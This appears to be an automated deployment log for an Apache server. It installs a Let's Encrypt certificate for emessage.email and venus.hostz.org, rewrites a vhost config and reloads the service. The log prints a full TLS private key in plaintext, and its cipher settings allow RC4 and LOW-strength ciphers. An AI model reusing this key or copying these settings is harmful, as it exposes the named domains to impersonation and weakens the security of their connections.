cat > AH1BZFO5D5v2jG7ED6HKdG5jOpTieAejyWCdKytb2XE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AH1BZFO5D5v2jG7ED6HKdG5jOpTieAejyWCdKytb2XE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AH1BZFO5D5v2jG7ED6HKdG5jOpTieAejyWCdKytb2XE
cat > yfwUYF22WN1_-_sYa1EMSeSWwVkMBys1yDeZVmaGqX4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yfwUYF22WN1_-_sYa1EMSeSWwVkMBys1yDeZVmaGqX4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yfwUYF22WN1_-_sYa1EMSeSWwVkMBys1yDeZVmaGqX4


2026-05-28 06:00:05: 

chmod 755 /tmp/pkp131832; /tmp/pkp131832; rm /tmp/pkp131832

2026-05-28 06:00:05: 




2026-05-28 06:00:20: Establishing a connection
2026-05-28 06:00:20: 

PUT: /tmp/pkp198604

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm XZWXnc6H2MfR828JslgTRc-N7oy_nAPaqzEr8LO3Bek
rm AH1BZFO5D5v2jG7ED6HKdG5jOpTieAejyWCdKytb2XE
rm yfwUYF22WN1_-_sYa1EMSeSWwVkMBys1yDeZVmaGqX4


2026-05-28 06:00:20: 

chmod 755 /tmp/pkp198604; /tmp/pkp198604; rm /tmp/pkp198604

2026-05-28 06:00:20: 




2026-05-28 06:00:20: Establishing a connection
2026-05-28 06:00:21: 

PUT: /tmp/pkp347418

#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt

cat > $temp_file <<'endmsg'
73:25:87:28:8f:5e:43:3b:6a:c9:55:19:1b:ee:cf:98

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBQ5Z/BkpiliahA3TiahI3BuEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI4MDUwMTQ5WhcNMjYwODI2MDUwMTQ4WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL6edlcT4WH3tbaUwRnS4ai7g2Rm2oeNQ2r49BLMEGotf09+9k5XIhPidFMrxpDE
q17SncFYLtM4ZmTsPPGMaxZ5nv+qvVBbpG/j8iB/UtFfvF3z0mb/dyPPaAcr5MAN
4OgJpewzrxTFzc3fcN81OOyugcctuilFypS/7tfIL05rmExJryoiEHJ/gy3BtEFb
mizKkQ2+NRFwgY1yfWq4nIG3vopzsH5jxNhVyEavWj2+AqMAbw01SLY5qMjyf/De
YvezcpWLDrycawxbI7RlYA1foZQnw4YwPl0xFAy/7vwfryOsumUo/OWyuqG/Mg4z
vdqs48df6jUT1SgRqabmu4cCAwEAAaOCAkAwggI8MA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRrO/v3
ono0RzbmTteG22oAMR/h3TAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMD8GA1UdEQQ4MDaCDmVtZXNzYWdlLmVtYWlsghNtYWlsLmVtZXNzYWdl
LmVtYWlsgg92ZW51cy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy81LmNybDCCAQsG
CisGAQQB1nkCBAIEgfwEgfkA9wB2ANdtfRDRp/V3wsfpX9cAv/mCyTNaZeHQswFz
F8DIxWl3AAABnm0rYGMAAAQDAEcwRQIgYImr4DENYBspdMKz9Ms4kzMsiQ7Phr9h
LunxePxLvSoCIQCbs7dlbj58FUWF1DG3zcCVdbwW3c/vEEZIGY6OQLEiKAB9AGz+
UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnm0rYekACAAABQANuIaq
BAMARjBEAiAMR2wD+poBBzECFk0b9UDrCDpe2fVqpiGeoYu9F6rbjgIgXd7zbyba
PLaQNpUpsFYycXAvSLZu1C4p9WK4uVR6QE4wDQYJKoZIhvcNAQELBQADggEBAKZG
278k+Z/XI/7Tu7uH25DSXactTVszt75wohG89N+xfL8rbdG3/L5IpzB/AcJXVZt5
dW/5VprpdlG7hN5CkiMslKqyXKAziJejTo88THx5fzSsibtpJKAKr5tNU0WGDm7q
h/ffSaTVL1YH70pvhUXpLhdaAmmr2gGwoe4o72f9LjdkRaFwn7dn6Us7O9r//TT6
FK6hQcUSwO1vFUl+f1cqo3lvyNnS4hAcGoDU1lw2pXhbr7ZkcjBex0+NYNV9Nstb
OVy/hsH0h0yLlXBE4XFa/YNRUADnIDlHThNnQGj0IixsoaVs7wUcozo+euhpYXYM
HBmsDEJLHeBdsn+7Prc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+nnZXE+Fh97W2
lMEZ0uGou4NkZtqHjUNq+PQSzBBqLX9PfvZOVyIT4nRTK8aQxKte0p3BWC7TOGZk
7DzxjGsWeZ7/qr1QW6Rv4/Igf1LRX7xd89Jm/3cjz2gHK+TADeDoCaXsM68Uxc3N
33DfNTjsroHHLbopRcqUv+7XyC9Oa5hMSa8qIhByf4MtwbRBW5osypENvjURcIGN
cn1quJyBt76Kc7B+Y8TYVchGr1o9vgKjAG8NNUi2OajI8n/w3mL3s3KViw68nGsM
WyO0ZWANX6GUJ8OGMD5dMRQMv+78H68jrLplKPzlsrqhvzIOM73arOPHX+o1E9Uo
Eamm5ruHAgMBAAECggEAAS1Ai3W7JSNbC7KbmHUAm8ZqZuGTCp78gTuvN0876Q0J
gsB0SVqUqrC7A/B8fK+04BnTlpswqMF4bCBOUC52NXeGfM0WDVYpNd/oh/AdK+ar
L9CN0xjecZQUbG1ssxwGe0M0jpQC0WsGkLOOU9ewtrAywwwmsRpzRGlVQ8e7NW6l
QYGPlDD7MNqk+6MvCSefpyzLO7VkXoQtalyHcntH+7HIgyClY+vGCOI3pn9xM6fu
con+sovv+Z+m5ywy9iBAcOdGP94ZTWSjoqXFldi5dGu9JEANJNuR8PdUWc1Gkn67
73yGnb/W2LJ1EsPOBPkYDkbb019t5m+7Zo3cOD9zYQKBgQD/bd0QTT9rxLpvOqaJ
0KJvRIi0bSMUXCkUBRnYp7XFI2+TFL+YjQ3AChPnzfDYNeHsy3jYMnjJJ2aRPHeC
35tpcGaBb9pJCP9GU5NBLnI5GL6xmlBfpTAYsCy+zg/7QwsWCV+qLhkUK/88v4cC
XHBQpF0Z4GvbauPi6PwXjD2NYQKBgQC/C4T7VAePzY55wskPtH0tp/MbW6p0TC/C
2O4OfKQNFfQCpA5SI9ocJRmz+uCq3K93LUtPiSc/MjWoLc1eW99ECkc7XB8NRTEE
KW6jSD3qLu078tTV8sD2r2K4DQlCB76tzsHuC14Z3eRN4V/n1BhOCUmDjpr1CBXt
Dr/JcjvJ5wKBgAkpuMdv7fmAuitpUDYbbOhO7hSC4cJGOBcGw9GY2pVy2vrMwL7J
OJgOBH7JTX2EGVG0TuZ6kQiuSCinoaXpPZr/tD2qdIswLnAoaVzqPKC9uYGHhqCX
vWz1TPWfUMVztz8YIP1q3+1wUpysRjyYclMCQnC+M0BQylIGh5yUpFShAoGBAK9O
eMbPwuiYbYcZ0LpSmxOMLC8MnIt/Zcxcl4Y/paJEZNcPh/yj3X86JC3dps/jFjg8
HgFsD9GT11zuOqe9klCzRc4YqH3a4jG5e0bmAbqlORhrqhZxXdR/+AyAGeC3jqeb
NKWlVMJTtS4qA4GORIdHSmgoMdVriAMyJ5dI9cg9AoGBAPp0nm4G+udK5rgaimoV
IC1gXyl4mi1rtyQl7iHi70Vh/5ioA8F0YGBA27870PKoWmT3mYj2akKukbcgNMEC
AsM/tFFgWu1GjHgE8kF6OJVqseFVlg9kK0D6sMpaz6NNbb6haF5mOGZGLZ3vWA+s
Ix38bdzj2QTgEstywEvET4wo
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-28 06:00:21: 

chmod 755 /tmp/pkp347418; /tmp/pkp347418; rm /tmp/pkp347418

2026-05-28 06:00:21: 


dir=/etc/ssl/certs


2026-05-28 06:00:21: 

PUT: /tmp/pkp376113

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-28 06:00:21: 

chmod 755 /tmp/pkp376113; /tmp/pkp376113; rm /tmp/pkp376113

2026-05-28 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-28 06:00:21: 

PUT: /tmp/pkp777830

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi


2026-05-28 06:00:21: 

chmod 755 /tmp/pkp777830; /tmp/pkp777830; rm /tmp/pkp777830

2026-05-28 06:00:21: 




2026-05-28 06:00:21: 

PUT: /tmp/pkp614793

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-28 06:00:21: 

chmod 755 /tmp/pkp614793; /tmp/pkp614793; rm /tmp/pkp614793

2026-05-28 06:00:21: 


.


2026-05-28 06:00:21: Establishing a connection
2026-05-28 06:00:21: 

PUT: /tmp/pkp769581

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-28 06:00:21: 

chmod 755 /tmp/pkp769581; /tmp/pkp769581; rm /tmp/pkp769581

2026-05-28 06:00:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-28 06:00:21: 

PUT: /tmp/pkp219651

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-28 06:00:21: 

chmod 755 /tmp/pkp219651; /tmp/pkp219651; rm /tmp/pkp219651

2026-05-28 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf	1644

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-28 06:00:21: 

PUT: /tmp/pkp705957

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-28 06:00:21: 

chmod 755 /tmp/pkp705957; /tmp/pkp705957; rm /tmp/pkp705957

2026-05-28 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt	5390
73:25:87:28:8f:5e:43:3b:6a:c9:55:19:1b:ee:cf:98

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBQ5Z/BkpiliahA3TiahI3BuEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI4MDUwMTQ5WhcNMjYwODI2MDUwMTQ4WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL6edlcT4WH3tbaUwRnS4ai7g2Rm2oeNQ2r49BLMEGotf09+9k5XIhPidFMrxpDE
q17SncFYLtM4ZmTsPPGMaxZ5nv+qvVBbpG/j8iB/UtFfvF3z0mb/dyPPaAcr5MAN
4OgJpewzrxTFzc3fcN81OOyugcctuilFypS/7tfIL05rmExJryoiEHJ/gy3BtEFb
mizKkQ2+NRFwgY1yfWq4nIG3vopzsH5jxNhVyEavWj2+AqMAbw01SLY5qMjyf/De
YvezcpWLDrycawxbI7RlYA1foZQnw4YwPl0xFAy/7vwfryOsumUo/OWyuqG/Mg4z
vdqs48df6jUT1SgRqabmu4cCAwEAAaOCAkAwggI8MA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRrO/v3
ono0RzbmTteG22oAMR/h3TAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMD8GA1UdEQQ4MDaCDmVtZXNzYWdlLmVtYWlsghNtYWlsLmVtZXNzYWdl
LmVtYWlsgg92ZW51cy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy81LmNybDCCAQsG
CisGAQQB1nkCBAIEgfwEgfkA9wB2ANdtfRDRp/V3wsfpX9cAv/mCyTNaZeHQswFz
F8DIxWl3AAABnm0rYGMAAAQDAEcwRQIgYImr4DENYBspdMKz9Ms4kzMsiQ7Phr9h
LunxePxLvSoCIQCbs7dlbj58FUWF1DG3zcCVdbwW3c/vEEZIGY6OQLEiKAB9AGz+
UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnm0rYekACAAABQANuIaq
BAMARjBEAiAMR2wD+poBBzECFk0b9UDrCDpe2fVqpiGeoYu9F6rbjgIgXd7zbyba
PLaQNpUpsFYycXAvSLZu1C4p9WK4uVR6QE4wDQYJKoZIhvcNAQELBQADggEBAKZG
278k+Z/XI/7Tu7uH25DSXactTVszt75wohG89N+xfL8rbdG3/L5IpzB/AcJXVZt5
dW/5VprpdlG7hN5CkiMslKqyXKAziJejTo88THx5fzSsibtpJKAKr5tNU0WGDm7q
h/ffSaTVL1YH70pvhUXpLhdaAmmr2gGwoe4o72f9LjdkRaFwn7dn6Us7O9r//TT6
FK6hQcUSwO1vFUl+f1cqo3lvyNnS4hAcGoDU1lw2pXhbr7ZkcjBex0+NYNV9Nstb
OVy/hsH0h0yLlXBE4XFa/YNRUADnIDlHThNnQGj0IixsoaVs7wUcozo+euhpYXYM
HBmsDEJLHeBdsn+7Prc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+nnZXE+Fh97W2
lMEZ0uGou4NkZtqHjUNq+PQSzBBqLX9PfvZOVyIT4nRTK8aQxKte0p3BWC7TOGZk
7DzxjGsWeZ7/qr1QW6Rv4/Igf1LRX7xd89Jm/3cjz2gHK+TADeDoCaXsM68Uxc3N
33DfNTjsroHHLbopRcqUv+7XyC9Oa5hMSa8qIhByf4MtwbRBW5osypENvjURcIGN
cn1quJyBt76Kc7B+Y8TYVchGr1o9vgKjAG8NNUi2OajI8n/w3mL3s3KViw68nGsM
WyO0ZWANX6GUJ8OGMD5dMRQMv+78H68jrLplKPzlsrqhvzIOM73arOPHX+o1E9Uo
Eamm5ruHAgMBAAECggEAAS1Ai3W7JSNbC7KbmHUAm8ZqZuGTCp78gTuvN0876Q0J
gsB0SVqUqrC7A/B8fK+04BnTlpswqMF4bCBOUC52NXeGfM0WDVYpNd/oh/AdK+ar
L9CN0xjecZQUbG1ssxwGe0M0jpQC0WsGkLOOU9ewtrAywwwmsRpzRGlVQ8e7NW6l
QYGPlDD7MNqk+6MvCSefpyzLO7VkXoQtalyHcntH+7HIgyClY+vGCOI3pn9xM6fu
con+sovv+Z+m5ywy9iBAcOdGP94ZTWSjoqXFldi5dGu9JEANJNuR8PdUWc1Gkn67
73yGnb/W2LJ1EsPOBPkYDkbb019t5m+7Zo3cOD9zYQKBgQD/bd0QTT9rxLpvOqaJ
